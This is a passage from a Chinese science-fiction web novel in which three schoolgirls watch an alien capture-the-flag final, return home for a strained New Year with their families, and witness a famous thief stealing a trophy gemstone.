窗外传来一声嘹亮的鸟叫,然后几个树洞前的地面上升起几个巨大的圆形机器,机器打开的一瞬间,所有人脚下的地面都抖动起来。
圆球中心降下巨大的光幕,银色水流一般的光幕上,闪烁的字迹不断跳动:
“第842.25√(3/4)届斩将夺旗大赛开幕式!”
那群荧光生物组成“耶”的字样,从光幕前一扭一扭地飞过。
跟在开幕式后面的是一些乱七八糟的、令人眼花缭乱的广告。
刘征兰忍不住问:“84225√(3/4)是什么?”
“呃,各种原因啦。”律易棋眼神漂移,“这样那样的宇宙混战啊,政治斗争啊,种族矛盾啊,不公判决啊。有时候不举办比赛,有时候一年冒出七八个自称正统的假比赛。总之通过一系列不怎么靠谱的算法,把那些假的、有争议的,根据各种因素,折算成了实数形式。前几年这个符号干脆是一串数学题呢。”
刘征兰更困惑了:“什么因素啊?都举办比赛了,要么是1要么是0,.25次比赛就跟公交车上下来3.5个老太太一样奇怪。”
“就是因为没人知道因素,这都是运动员协会授权了柯玛社会的中心机器“快子”核算的。“快子”的运算因素是什么呢?只有它自己知道了。很多智械尝试探查,但最后都失败了,因为“快子”的内容量实在太大了,没有智械能找到所有的因素。”律易棋摊手,“科技发展的后果。”
一个不知道从哪发出来的声音全场回荡:“大家好,欢迎来到第第842.25√(4/3)届斩将夺旗大赛,决赛!”
“噢噢噢噢噢噢!”各种各样的欢呼声响起。从窗户能看见下面座椅上的人纷纷抛起了了帽子、羽毛、火焰、花粉、一小把人造钻石和机械肢体之类的东西。一时间底下乱成一团:
“放手!放手!那是我尾巴毛!”
“谁把我的帽子烧了?”
“咳咳,救命。花粉过敏……!”
“我眼珠子去哪了?”
康烁影战战兢兢探出身子,把那个连接着电线的假眼珠子扔回去,得到了一个弹簧智械的伸缩四肢致谢法。
地面震动,空气芬芳。花粉过敏的人们打起喷嚏。幸免于难的人们拉上口罩。律易棋按动一个按钮,把阳台用一种软软的透明材料封起来,确认了她们没人过敏才打开。
一群有男有女、穿着暴露的藤发人顶着花团锦簇的头发,唱着歌挽着手,其乐融融地从树洞里钻出来:
“海滔滔,山高高,林茂茂,地辽辽。
夜迢迢,何其浩,身微小,思远道。
命如丝绦瞬如烧,千恨万悔不得饶。
暂置残命弃奔劳,但惜今时会此朝。
舞蹈蹈,歌袅袅,游人把臂清风笑。
宴夭夭,梦今宵,思难相见心悄悄。”*
藤发人们笑容满面,用一种空灵的歌声唱着古怪语言编织的歌谣。植物寄生的飞鸟们扔下无数果子,猴子们爬上观众席,用尾巴卷上来一打一打的饮料和酒,在香气扑鼻的空气里,这一幕就像是童话故事里神的奖赏。台下的一些灵肉和藤发人的同族露出一种陶醉的表情。律易棋说,那是声波催熟,对于伊们来说,类似一种精神按摩。
康烁影被藤发人塞到手里的花也散发出甜甜的香气,一小群蜂鸟飞过来,在她们的包厢前摆出了“绿丝绦”的字样。
藤发人的出场完全没听从指示,伊们飘飘然地出来,唱着歌在光幕外巡回。空中的回旋的大鸟停在一个不会被水果砸到的角落里,欲哭无泪地用喙啄了一下身边的大喇叭。
大喇叭嗡嗡地响起来:“好好,可以了!请壤的仪仗队退场!下面有请柯玛社会的仪仗队!”
刘征兰发绳上的透明电线发出了静电,她的头发一下子炸起来,在她的头顶上,一行红色的投影打在她们包厢的玻璃上,智械们用数字组成的队名滚动播放。
一群形态各异的铁皮生物从树洞里滚出来。智械实诚多了,完全没有那些花里胡哨的操作。它们展开关节,露出身体里的接口,一个叠一个地摞在一起、改变形态,眨眼间就变成了一架梭形的飞行器。
飞行器绕场飞行,精准地把握与每个人都距离。所有人眼中,飞行器都是贴着自己的身体飞过去的。气流吹乱康烁影的刘海和律易棋的发型,趴在“小吧台”上的刘征兰嘴里叼着的蔬菜脆片被飞行器劈成了两半。这3D亲临现实的体感令刘征兰瞠目结舌,嘴里叼着的那半片“啪嗒”掉了下来。
下层座位上的一只小狗:“感谢大自然的馈赠!”
飞行器结束了巡回,落在地面上。更多的小型智械拼接在一起,变成了一颗巨大的头颅,那颗头颅像人也像羊,竖起的瞳孔里是空空的电线。
头颅满场游走,许多孩子爬到它眼窝里面,坐在那个空洞上欢呼。颜阎一把扯下康烁影手腕上的手链挥舞:“我我我,这边这边!我是第一次来!我也要坐!”
巨大的头颅真的飞了过来。康烁影拒绝坐这么不安全的东西,刘征兰单纯是讨厌小孩,律易棋不能在公共场合露面,于是颜阎一个人站上了巨大头颅的光光头上,双腿岔开,左手叉腰,右手指天,无比嚣张。
记者咔嚓咔嚓一通拍,伊们有预感,这张照片即将成为开幕式上一个小小的娱乐新闻。
颜阎很有先见之明,露面前戴上了黑口罩,所以无所畏惧,甚至夸张地对记者们行了个优雅的骑士礼。
她被从窗户送回包厢的时候,刘征兰说:“要是以后地球说你损害了我们的星际形象,我就说咱俩不认识。”
又是一声鸟叫,伴随着地面的晃动。两边的仪仗队都从树干离开了。光幕缓缓散开,被它遮挡的体育场变成了一片小型森林,像是一个巨大的沙盘模型。荧光生物们聚集在沙盘附近,整个体育场像一个打着聚光灯的演唱会。
颜阎捅了捅康烁影:“快问快答,这是什么地貌?”
康烁影:“呃……呃……平原地貌吧……?”
“什么气候?”
“不知道啊!这都不是地球,季风都不一样!”
颜阎欣慰地点点头:“你通关了。”
康烁影毫不客气地给了她一拳。
“这次的比赛将在凯尔星系的努诺斯星*的举行!让我们为勇士们加油助威吧!”大喇叭里的声音再次响起。
全场的人们振臂高呼。
颜阎皱眉,感觉星系名和星球名都好怪。
律易棋搬着门和高脚凳过来,兴致勃勃地把胳膊架上了小吧台:“斩将夺旗的赛场和观众席不在同一处,我们看到的是沙盘,也就是勇士们的战场投影。但他们是真的在那个场景,比赛也考虑过全息技术,但是效果不佳,后来就一直用实体了。”
参赛者缩小的身影缓缓从沙盘上浮现。双方都有七人,藤发人那边四女三男,一男一女站在最边上,手里各握着一把造型古典的枪。另外五人都拿着铁质的武器。智械那边看不出性别,但可以看出谁都没有“拿”武器,武器是装在它们身上的。
“总面积十五平方公里,每队七人,两名弓手和五名近战手,限时七十二小时,率先淘汰全员的队伍或率先夺下对方旗帜的队伍获胜!来自壤的小队——绿丝绦,每人可携带一把铁质武器和一把打火机,根据体型与地貌换算,衣服在内武器除外的
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随身物品平均不允许超过五公斤。不允许出现中级及以上的物品。
来自柯玛社会的小队——077111110105107097,小队成员不允许有特殊型号,每人除了一把铁质武器外,必须拆除一切除出厂设置以外的中级及以上功能或插件,不允许携带任何其余物品。
当队员随身携带的健康检测仪发出警报,则视作淘汰。放出信号弹视为弃赛。”
天机真的很好用。三个人明显感觉到面积和时间的单位都是被它换算了才塞进她们脑子里的。还没来得及惊讶,智械长长的小队名又震撼了她们。这部分也是被天机翻译过的,主持人已经开始说下一部分了,没说完的队名还在她们脑子里浮现。
“好了诸位,比赛开始!”大喇叭说完就关闭了。
律易棋一边喝着猴子送上来的饮料,一边给她们讲解:“中级下级上级其实是斩将夺旗的专用词。为了保证趣味性,大部分比赛都是禁止中级及以上的科技产物。这个标准大概就是……”他想了想,“你们一战开始前那个阶段吧。”
边界有点模糊。但三个人自己又不打,所以只听了个囫囵。
沙盘是用藤发人的技术,通过大量的菌丝网络和场外的激光捕捉技术,可以不依赖摄影,在沙盘上实时播放勇士们的位置和行动。除此之外,每个座位和包厢前都有一个升起的一体机,上面可以放置零食饮料,也可以用来观看每个人选手的现场表现。
“三天的比赛,同时包含求生、寻物、正面对决等内容,多个愿望一次满足。”律易棋道,“偶尔也会有一些惊人展开。”
“比如?”
“曾有一届智械的队员全都是刚才开幕式的那种可组装式,它们一起拼成了一幅巨人,把整个赛场夷为平地。还有几次双方谁都没攻击没找旗,原地露营,整个比赛一拖再拖。”律易棋给她们一人剥了一个圆形的果子,“不过这毕竟是商业比赛,要打出成绩和风格的。那种极端情况很少。”
比赛里只有弓手被允许携带非自动枪的枪械,近战手只能用冷兵器。沙盘里,藤发人的三位女性选手已经会合,里面有一个膀大腰圆的女人,头上开着淡红的花苞,身材像《海洋奇缘》里的那个毛伊,她带着一把枪,有个身材纤纤的智人带着一把多功能军刀,剩下那个女生没亮武器,除了女毛伊以外的人都迅速向两个方向奔去,开始寻找自己队伍的旗子。
智械那边运气很好,有五个人被投放在很近的地方。智械去掉了热感应和波轨锚定等科技,只能用最传统的视觉去感受。但是它们的视野角度更大,光敏性更高,搜寻要比藤发人方便多了。
就在大家都以为要开始看荒野求生的时候,所有座椅面前的一体机左上角打开了,里面藏着一副护目镜。
包厢的一体机覆盖了沙发对面的整面墙壁,眼镜有五副,放在桌子上。刘征兰戴上它,发现它可以观看不同选手的第一视角。康烁影在研究一体机,她随便调了几个按键,一体机里突然蹦出一段很有即视感的画面。
“第842.25√(4/3)届斩将夺旗大赛开赛,双方都很有信心。注意看,画面里的这个藤发人叫小知,她正在寻找队伍的旗帜……”
康烁影一下子关掉了一体机。
“怎么是这种五分钟讲解啊!”她大叫,“什么时候剪的!这样看比赛还有什么意义!”
颜阎喝着饮料代替律易棋回答:“ai吧,这个世界ai都这么发达了。”
“而且。”刘征兰和颜阎干杯,“班里男生连电脑看世界杯的时候,你不也只在进球时看一眼。”
“对啊,你们班男生肯定也放过高燃进球集锦之类的吧。”颜阎完全逻辑自洽了,“为了排解这种漫长的不进球过程,肯定要用这种段时间吸引注意力的短视频啦。”
康烁影看着律易棋挑眉忍笑就知道她俩说对了,她很不高兴,这显得她像傻子,于是她上去给了两人一人一拳:“你俩是外星人还是他是外星人?”
刘征兰装死,颜阎哼哼唧唧从沙发上滑下来:“我是死人,我是死人。”
既然大家都关注进球的时刻,那么进球前要干什么?
律易棋说:“那当然是——”
“玩啦!”
34.斩将夺旗
刘征兰和律易棋玩了第六把五维象棋,用了象棋的规则。这是一个棋盘越下越多的游戏,每一步都会分出一个新的时间线。前三把律易棋还在学象棋,后三把刘征兰输得不明所以,头昏脑胀。她说:“不是,你是怎么穿越时空过来把我杀死的?我的将不是已经穿越过一次了吗?”
“你这个将不能动了,它已经被另一个时空的棋盘上我的车看死了。我当然可以将军你。”律易棋敲了敲桌子,浮空的虚拟棋盘上也响起了“哒哒”两声,“时间线思考能力还得再练练啊!”
刘征兰复盘象棋的时候,地上她们进来的那个小门被人敲响了。一个赭红色风衣的少女牵着一个一米左右的孩子,手里提着轻薄金属罐装着的饮料。
“你好。”她得体地微笑,“你的朋友送了我这个,但我喝不惯蜜杏儿水,你能拿棘轮果酒跟我换吗?”
少女换了酒却没有立刻离开,而是往她屋里望了望。律易棋已经躲回呼叫中心了,屋里什么人都没有。少女微笑着问:“你不出去和朋友玩吗?”
“你怎么知道是我朋友?”刘征兰反问。
少女指着包厢下面一点的位置。颜阎站在座位上鹤立鸡群:“真的,我们那边的广告设计特别缺德。你点进一个软件,它说摇一摇跳转别的软件哦亲亲。你啥也没干呢,它诶——”颜阎一摊手一瞪眼,像在说脱口秀,“跳转了!我的天呐星球自转它都能感应到。星球自转一下,诶,地摇了,跳!有人说了一句话,诶,声波摇了,跳!你活着,诶,你心脏摇了,跳!”
看到刘征兰和少女,颜阎挥舞手里的饮料瓶:“嗨——————”
刘征兰明白了。
少女松开手里的孩子,让她自己去玩。她对刘征兰笑了笑:“你也是刻石人的成员?”
刘征兰含含糊糊:“我不是,我的亲戚是。”
少女拉长声音:“哦——这么大了才第一次来?那应该是冲着刻石人的打折包厢吧。这张票其实是不允许直系亲属以外的人原价买的。”她眨了眨左眼,“我就不问你是不是直系亲属了。”
刘征兰感到一阵特权阶级的窒息。但她的确享受着福利,只能有气无力地说:“谢谢……”
少女笑了笑,侧过身朝她摆摆手,说着一会儿一起来玩之类的客套话,然后转身离去。
律易棋怂恿她也出去玩,他看门。刘征兰狐疑地打量了他一番:“你别乱跑,别搞事,别随便给陌生人开门。”
律易棋眉头一皱:“我怎么感觉你说的话哪里不对。”
刘征兰先去找康烁影。整个体育场里已经完全失去了座位的概念。真正的斩将夺旗粉丝全挤到了第一排,其他人都在后面互相攀谈说笑。康烁影当时正被一个伏人少年牵引着,学跳某种脚步轻盈的双人舞。被刘征兰拉走时两人恋恋不舍,像一对苦命鸳鸯。
“你俩就产生感情啦?”刘征兰不理解,“你知道他……她……唉算了,伊,你知道伊的性别吗?”
“不知道啊。”康烁影还陶醉在舞蹈中,“伊长得好看嘛。”
和颜阎会合时,她还在别人的椅子上讲抑扬顿挫的脱口秀,把身边一群人逗得哈哈大笑。两个人在下面喊了半天,全被淹没在周围的笑声中。
“怎么办?”刘征兰问。
“扯她大腿,摔死她。”康烁影恶狠狠。
“别了,怪血腥的。”旁边一个声音说,“我帮帮你们。”
两人转头,空中飘着一件绿衬衫。两人抬头,衬衫连接着一个头。
好高。和律易棋差不多高。
不抬头就像漂浮绿幽灵的女人把金属手臂伸到颜阎面前打了个响指:“女士,低头。”
颜阎没低头,视线本能地转到女人身上。女人一头金得发白的头发,绿衬衫黑阔腿裤,胳膊上搭着一件黑色的风衣,卷起来的袖口露出金属的手臂。她本来就有点亢奋,一打眼被帅了个踉跄,很多话没过脑子就秃噜了出来:“美神降临!”
康烁影和刘征兰疯狂捶打她的腿:“你少说点让人尴尬的话!”
“呃,帅神?”
女人哈哈大笑,胳膊一伸,拦腰把她从座位上搂下来,还把她垫脚的冲锋衣拍了拍递给她:“多谢夸奖,我也觉得我很美很帅。”
康烁影跟刘征兰说小话:“我觉得颜阎和她玩得来。”
刘征兰说:“这种帅姐姐不是你的菜吗?”
康烁影:“……我的确被帅到了。我的天,脸长真好看。”
颜阎双手接过风衣,用甜滋滋软绵绵的声音问:“姐姐,你是不是刻石人的成员呀?”
帅姐姐的眼睛睁大了,饶有兴趣地看着她:“你怎么知道的?”
“你和钟的风衣袖袢都是一个花纹。”颜阎说,“而且上面那个袖扣都有点太闪了。”
“钟是谁我倒是不认识。”帅姐姐晃了晃胳膊上的衣服,“不过你说对了,我就是维护宇宙安全的刻石人。”
她说完,自己都笑了。
旁边一个颜色淡淡的游离体慢悠悠地问:“保护是指让我们交税,然后宣称接管全星系,并没收我们的武器吗?”
帅姐姐发誓:“放心,我不会这么做的,至少不会趁着你们狂欢就让你们交税的。”
“那我们要是遇到危险了呢?”
“那我就逃跑啊。”帅姐姐理所当然,“没交税谁保护你们啊!”
周围一片哄笑。帅姐姐露出两颗尖尖的虎牙,乐呵呵地撩了一把头发。
刘征兰凑到颜阎身边:“我觉得她是你的外星复制品。她甚至也有虎牙。”
颜阎哼了一声:“我是独一无二的!”
帅姐姐俯身跟她们三个打了个招呼:“你们第一次来?吃苏布南肉串吗,我请客。”
三个人立刻点头。小孩子不可以吃外面的东西,她们是青年,她们可以。
苏布南是音译,帅姐姐的发音像是水下生物吐泡泡的咕噜咕噜声,发声方式里和律易棋一样带着时不时的口哨音。她从喝得烂醉的迁氧商人手里扯出铁盒子一样的推车,用自己收在风衣里的一副眼镜盒在推车上一碰。推车说:“十串,请自取。”
推车的顶端徐徐打开,几块切好的肉在她们面前经过了串串涂酱撒料高温炙烤的一系列过程,装在盒子里蹦出推车,帅姐姐一伸手就接住了它,没沾到一丁点酱料。
苏布南的肉质细腻,腌制入味,表皮略带焦壳,焦壳下脂肪丰厚,口感油润,肉则鲜美异常。再配上表皮一层略甜的酱汁和香气扑鼻、清凉爽口的调料蔬菜,切割均匀的肉块和设计得绝不滴落黏粘的仿木签,三个没见识的地球土著吃得非常雀跃。
帅姐姐扬起脸向远处看了看,笑了。她问几个比她矮了一头的年轻人问:“你们要不要去前面看,沙盘上显示两边快打起来了。”
“这么快?”律易棋说过一般真正的决战要在第三天清晨开始。
“藤发人的弓手运气不好,和智械的两个人撞上了。”
“那赶紧去看呀!”颜阎蹦起来了,“冷兵器战最帅了!”
“你们不是有包厢吗?我跟你们回包厢?还是你们跟我回包厢?”
两个选项都很危险。前者可能会暴露她们没有同行人或者同行人是律易棋,后者可能会被拐卖。
颜阎立马接茬:“不要!我们要跟前面的人一起看有气氛。”
帅姐姐没深究,把风衣塞进康烁影怀里,一把将她甩到背上,另外两只手提起刘征兰和颜阎,仗着个子高、身手好、机械身体上能藏很多浮空的小道具,三两下就跳到了最前面,享受vip待遇。
巨大的沙盘被一种有弹性的屏障包裹着,在藤发人的区域,两个智械近战手已经深入了藤发人的领地。旁边一体机的ai解说声音说,这种先攻敌方的战术是战车型。
女毛伊在暗处伏击,她手里的步枪是地球没有的造型,刘征兰记得经典的56式步枪有效射击距离才400米,这把枪只会更近不会更远。
她的瞄准镜内出现了履带智械人,这是致密星工厂生产的军用智械,运算器位于对方的金属机身正中心。她屏气凝神地等待对方把身体探出。好,电子眼,金属手臂,后背,转过来了!正好!
在她子弹发射的一瞬间,她感到一阵阴风袭来。她立刻就地一滚,军刀插在她原来爬伏的位置,刃深入地面。她反手抬枪挡住智械拔出刀后势大力沉的一劈,双腿剪住对方身躯,腰部一弹,把自己生生拉起来。借着智械身形矮小重心更低,毫不费力地把它夹在□□压在身下,强壮的大腿锢住它身侧的四个武器口,竖起枪上的刺刀便刺下去。
枪声里,血光乍现。
剧痛使她的手臂抽搐了一瞬。最多再来一枪,她就会失去行动能力,就算作淘汰。
她咬紧牙关,刺刀在她手里压下去,刀锋像是细细的一条银线。
智械活动自己的脖子,将整个方块脑袋和身子之间的伸缩结构拉长,扑的一下砸在女人鼻梁上。人类的神经脆弱,女人脑袋里好像开了个金属乐队,架子鼓、电吉他,扯着嗓子的长发主唱一起奏乐。
她脑袋昏沉,手却不停,心里明镜儿似的,知道自己被伏击了,下一颗子弹就算没就悬在她身后也快出膛了。这个时候能带走一个是一个。
她的刀和对方的子弹同时到了。分子防弹屏不防护刀具,这一下刺穿了对方的铁皮,电流顺着金属爬上来,贯穿的余波让她的虎口一麻,枪掉在地上。与此同时,本该打出血花的那一枪击中了防弹屏,冲击力将她弹到地上。
她被淘汰了。
与此同时,一个蓝色
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的光点在沙盘上闪烁。所有勇士在一种莫名的感召中仰起头,只见场内所有的鸟齐鸣,所有的走兽齐吼,地下深埋的菌丝低语,无数只乌鸦齐叫:“077111110105107097找到旗帜!”
智械艰难地爬起来,从自己身体的空洞里拿出了那面有一个刀口的小旗,塞进了更深的空腔。被刀刺穿的金属空洞里只有一串乱七八糟的电线。为了不触发旗子上的触控装置,它特意用了多孔磁性爪把它夹进了体内,刚才它保护身体的动作才让它自己碰到了旗子。
女人一愣,随后惊道:“你改造了?把运算器放到上身不会影响你的重心吗?”
“会有一点,不然你不会这么轻易把我放倒。但这是值得的。”智械拧着自己的履带,刚才女人一下子差点把它的伸缩结构弄断,“没想到这次派你来当弓手,你们有什么特殊的战术吗?”
女人笑吟吟:“哈哈。”然后脸一板,“我不说。”
智械:“……说得好像我们真指望你告诉我们一样。”
智械的两个勇士会合后继续伏击藤发人,很快女人也自己调试了数据,自己跳格子离开。
观众席里发出了一阵混乱的咒骂声,许多观众开始向中间的沙盘丢饮料瓶。
康烁影感觉这比赛有点血腥了。刘征兰解释说星际的医疗水平很好,枪伤的治疗比较简单。即便如此,直接拿枪互射也确实很吓人,智慧生物的嗜血本能啊……
刚才调侃过帅姐姐的游离体一直在做紧张刺激的比赛讲解,对没带讯传的人们十分友好。此时她恰到好处地解释:“那个寄生了廉人女性的是于姆·古·火玫瑰,绿丝绦的明星选手,平时都是近战手,这么快淘汰挺让人意外的。应该是绿丝绦的战术出了问题。”
颜阎小声说:“于姆这个名字其实挺适合当射手的。”
康烁影借了旁边人的讯传看了看:“可是这里显示的明明是葛被淘汰了。”
“显示错误?这种乌龙咱们那儿也常有嘛。”
那个游离体缺若有所思地闪了闪:“哦……那我明白了。”
反对谜语人,人人有责。颜阎捏着鼻子避开她:警惕故弄玄虚的女鬼!
后面两日,绿丝绦的一名弓手狙掉了两个智械,还有一个藤发人被场地里的野兽逼到弃赛。野兽是斩将夺旗中必要的一环,既可以当食物也可以增加变量。
藤发人把刀捅进野兽口腔,再竖着扎穿对方的上颚。然而那只猫脸熊身的野兽不退反怒,咬合力少说也有一千公斤的口腔收缩,但凡它能合上嘴,藤发人的这只手臂就会废掉。还好他及时选择了弃赛,跳格子离开了。
真正的斩将夺旗粉丝轮流守夜等着赛况,生怕错过什么精彩的瞬间。虚假的粉丝早已经睡成一团。晚上,一群刚认识的陌生人捉了好几只闪光丝绸——据说它们叫“伪星”——扣在玻璃罐里当灯,就着这点亮光分享零食和饮料。刘征兰还偷偷给藏在呼叫中心的律易棋送了点。
不知为何,这次比赛现场有大量刻石人聚集。但没有一个人在干活,所有人都心照不宣地趁机给自己放假。
来和刘征兰换酒的少女就是颜阎所说的“钟”,她和帅姐姐同为刻石人,但彼此很不对付。两人呈对角线坐在玻璃灯周围,和钟关系密切的孩子在一旁和狗玩。
钟端着酒水端庄地朝大家一敬,然后笑着直视帅姐姐:“我听说过你。没有伤病,但执意抛弃适应性极强的肉/体,为了向死板的智械靠近而改装义肢。不知道的还以为现在是废墟时代,人人都要装义肢才能过活呢。”
帅姐姐警惕地直起身:“我告你种族歧视啊!智械怎么你了?少说这种话,还想不想晋升了!”
钟无辜地卷着铁锈红的短发:“真不好意思。我是婆旦出身,我们那边对智械的形容就是这样的。”
帅姐姐见坡就下:“我原谅你,以后别说这种话了。”
钟的嘴角抽搐了一下,显然对她很无语。刘征兰感觉到气氛不对,急忙拐了一下颜阎。颜阎起身把帅姐姐提起来:“你过来跟我坐,别在她视线范围之内。我怕你俩一会儿吵起来惹大家不高兴。”
钟眨着眼睛:“抱歉。我……”
“停。”颜阎打手势,“我不想听你俩谁对谁错,这是你俩的事。但我们现在,在玩,在唠嗑吃零食,谁破坏气氛我咬谁!”
围观的食草动物和身体柔软的迁氧都缩到后面,避免被她咬到。
第二天的晚上,三个人收拾收拾回家过年。临走前叮嘱律易棋:“别给陌生人开门,见势不妙就逃跑,听明白没有?”
律易棋:“……我不想明白。”
“饭是刚认识的朋友买的,回来我们会去谢她的。你别自己去,小心暴露。”颜阎在呼叫中心的门口,“拜拜,新年快乐!”
35.莫忘旧时盟
猛地从你好我好大家好天下生人是一家的狂欢节氛围里回到家庭,大家都产生了强烈的不适应。
刘征兰把假人扔进呼叫中心,踏上老家的地板,立刻感觉到一阵难以言喻的恶心。空气里飘散着生面团的气息,耳畔回荡着小男孩的尖叫,平均离婚一次的亲戚们在餐桌周围挤挤挨挨地咒骂一切不在场人士,偶尔冒出一两句叹息和感慨。
堂姐在丈夫家。几个堂弟在用手搅和装馄饨馅的盆,被大人们掐着手腕打了。她妈妈说男孩子皮一点没事,然后话题就拐到了她打扮时尚的表妹身上。
她的手机滴滴响,她抽空看了一眼,是另外两个人在群里抱怨。
康烁影家不走亲戚,过年只在自己家里吃饭。她爸爸是典型的封建家长,坐等着吃饭,从不碰水槽。吃年夜饭说,他一边吃一边用筷子对着春晚的女主持人指指点点。中途他看了一下手机信息,借题发挥讲了十分钟的世界局势,然后以“我们强大了,现在轮到我们当老大了”作结尾。
往下一翻,翻到一条恶性新闻。他又开始指导康烁影如何穿得像个人样,说她这样早晚会被男的骚扰。最后的总结是:“还好你有我当爸爸,换了别人就把你的化妆品扔了!”
康烁影抬起头:“你骂我妈的时候你怎么不说。”
她爸爸问:“你妈连我出去喝酒都管!我就说她几句,又没打她。”
康烁影冷笑。但她也不敢说什么。她爸爸很胖,并不高。他没有任何权力,在外面也只是个办公室文员,但她和妈妈站在他面前,就是想落泪。
他吃完了饭,把碗放进水槽里后缩进了沙发。电视的声音放得很大,他扯着嗓子跟唱老歌。
妈妈除了刚吃饭时干了个杯,一直没说话。康烁影坐到她旁边,把鸡腿夹进她的碗里:“没事,妈妈。他走了,我们俩吃饭。”
妈妈低低地说:“他是你爸爸。”
康烁影敷衍地点头:“好好好他是我爸爸……妈妈?你为什么还是不开心?我不说了,我不说了……”
颜阎本该是处境最好的。她的妈妈最开明,她又最会撒娇。餐桌上装傻卖痴就能把妈妈和奶奶哄高兴。至于她母亲的配偶,她不想理他。
但是今年妈妈的身体不好,初一不能去姥姥姥爷家吃饭。她自告奋勇,骑着小自行车,十五分钟赶到姥姥姥爷家吃第二顿年夜饭。
她母亲的配偶家所有的亲戚都和她没什么交集,妈妈这一支和她很熟悉却不亲近。他们只聊工作、退休、工资和哥哥姐姐家的小孩,一切笑话都被视作幼稚,一切表演都被视作疯狂。在颜阎和他们相识的十七年里,几乎没怎么见他们笑过。因此,即使是能在外星体育场讲脱口秀的她,也没法在这样的环境里生存。
小时候表哥曾把她辛辛苦苦积攒的游戏道具全用光了,至此她单方面与对方结下梁子,直到表哥结婚生子都没有和解。今年表哥也在,正在餐桌上和一群人一起对她的大学侃侃而谈。
“你要是想考研究生,那我就让学生在论文上给你加个名字呗。”他轻松地说。
颜阎都快吐了。如此明显的滥用职权,竟然能被当作一件礼物,简单、轻易地拿到台面上来说,但妈妈千叮咛万嘱咐让她不要跟别人发火,于是她只冷冷道:“我以后学文。”
表哥就不管她了。转而开始展示自己家刚装修好的小别墅,小别墅有一个放满书架的地下室。大舅妈不知为何突然说:“阎阎家里也有好多书架,上面都是书。”
表哥一挥手:“跟她的不一样。”
颜阎推开桌子,和姥姥姥爷道别,然后拿上红包就走。
三个人不约而同地找律易棋把她们拉回回呼叫中心,脱力地躺在地上。打心眼儿里感受到了痛苦。
“我不明白。”刘征兰说,“是我们倒霉还是别的什么?怎么做到每一个人的家庭都不幸福的?一家人快乐相聚是神话故事吗?”
“我不知道。”颜阎不能骂表哥也不能骂妈妈,气得满地打滚,“我不知道!”
康烁影躺在地上,直视着头顶的天花板:“幸好有呼叫中心,不然我都不知道要去哪。”
她们都沉默了。
没有呼叫中心,她们就只是一群经济不独立的学生,各处受制于人,生活幸福与否全凭家长的善心,连自己的房间都不一定拥有。一旦和家庭产生矛盾,她们无处可去,最后只能“回去”。
“幸好我们有呼叫中心。”康烁影说。
“幸好我们有呼叫中心。”另外两个人复读。
“我们回体育场看一眼吗?”
康烁影和颜阎扭动着从地上粘起来:“不了,我们要回去跟妈妈过年。”
刘征兰叹息着爬起来:“那我也回去。那个假人挨我弟两拳就废了。我能挨三拳。”
三个人握手共勉,然后走出秘密基地,回到家里受折磨。
与此同时,圆形体育场的后台,一个员工经过了DNA锁,对了暗号,输入密码,和几个保镖交流后,打开了保密库的门,开始了一天三遍的唐捐杯维护。
唐捐是第三文明以来最知名的战术师,著名的“捉迷藏”战术便由她提出。她一手创建了维护宇宙实力平衡的刻石人。为种族平衡做出了巨大贡献。
传说,斩将夺旗就是她发明出来模拟真实战场,训练士兵作战技巧的。后来逐渐发展成运动项目,冠军奖杯就用她的名字来命名了。
每一届的奖杯都由不同的设计师创作,今年的唐捐杯由迁氧艺术家——天炉打造,形态是一把权杖。精细的图腾和纹路镌刻在光滑的金属上,玻璃作顶而翡翠作点缀,莹蓝色的脉石簇拥着中间那颗熠熠生辉的兰卡之石。
这场比赛的获胜者,将获得这柄权杖。他们可以永久保留这个奖杯,但是兰卡之石会被收回,镶嵌在下一任冠军的奖杯上。不如说,整个奖杯都是为了衬托这颗色彩最丰富的宝石而打造。
员工检查了房间里所有的感光警报、ai检测仪,空间波轨接收器,确认没有问题后,才掀开权杖上的红布,准备进行定期的擦拭。
然而,兰卡之石本该在的位置空空如也。
“您好亲爱的。”开朗的声音从头顶传来,一位面带风霜,身披银白色披风的中年女人凭空而坐。她的上半张脸明明存在,但就是不清晰,像一团白色的漩涡,下半张脸已经有细微的皱纹。头顶的位置没有头发,只有长长的白色锻带,垂落的衣角看起来轻而干净,像是蝴蝶的翅膀。
员工愣在那里,他的手悄悄缩进袖子,按下了纽扣形状的警报器。
“别按了,我知道你在做什么。”他感到模糊的女人面庞轻轻一眨左眼,“兰卡之石我拿走了,拜拜!”
女人向后翻去,整个人倒栽向地面,白如闪电光的身影消失在地面上。在她消失的那一刻,体育场内所有刻石人的袖袢都紧了一下。
帅姐姐和钟同时戴上讯传:“辚辚真的出现了!”
“什么?”在弃首身边瘫成一团不明物质的游离体问,“来偷兰卡之石的?”
“啊?你也知道了?”
“辚辚实在太出名了,网上都在赌她这次会不会来。”
这次刻石人大量集结在圆形体育场,就是因为辚辚的活跃。作为近十年来最出名的神偷,进入保密场所如入无人之地。她能破解一切防盗系统,躲过所有精英的监视,神不知鬼不觉地拿走自己的目标。事后往往会在原地留下一截白锻带,作为身份的象征。
她偷过开战的机密文件、对星脉冲炮的密钥、价值连城的名画、传说中的古老书籍,只要她想要,没有做不到。没人知道她的目的,也没人知道她的身份。所有人只知道她当众宣布的名字和电光一样的白色身影。
而兰卡之石实在是家喻户晓,再加上斩将夺旗是万众瞩目的项目,网上一直有人猜测,怪盗辚辚会在决赛结束前偷走兰卡之石。
帅姐姐抖开风衣披在身上:“对。我们上级本来就说到她这次会出现,没想到让我们等到了。刻石人的情报系统总算靠谱了一次。”
“那你加油。”游离体瘫回去,“希望不要误伤无辜群众。”
帅姐姐双指并起,一点太阳穴:“绝对不会!”
而钟更快,她一言不发,从风衣里抽出侵蚀F炮,早在弃首起身前便浮到空中,身影消失在玻璃灯的照明范围中,汇入其他刻石人斥力靴的微光中。
“辚辚……”她暗地里咬牙切齿,“这次绝对不会放过你……”
而帅姐姐慢慢悠悠,溜溜哒哒,绕开所有追击怪盗的同事,拎着几串苏布南烤串,绕到一个包厢的下方。
她敲了敲门,门上的基因锁立刻打开了。
包厢内的
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律易棋正撑着阳台,凝视刻石人掠过窗前时蝙蝠翅膀一样的飞扬风衣。听到声音转过头,和帅姐姐微笑的眼睛对上了。
“啊。”律易棋的眼睛睁大了,“啊!”
他从高脚椅上跳下来,脚腕被地上的垃圾处理机器人绊了一下,这让他向前踉跄,膝盖撞上了桌子,饮料杯里的液体洒在地毯上,藤发人送的花满桌散落。他三两下绕过一切障碍扑过来。帅姐姐丢开手里的烤串,张开双臂和他抱了个满怀。
两个人搂在一起大笑。
“弃首!!!”律易棋把下巴搁在她肩上,“我看到肉串就知道是你!欢迎!”
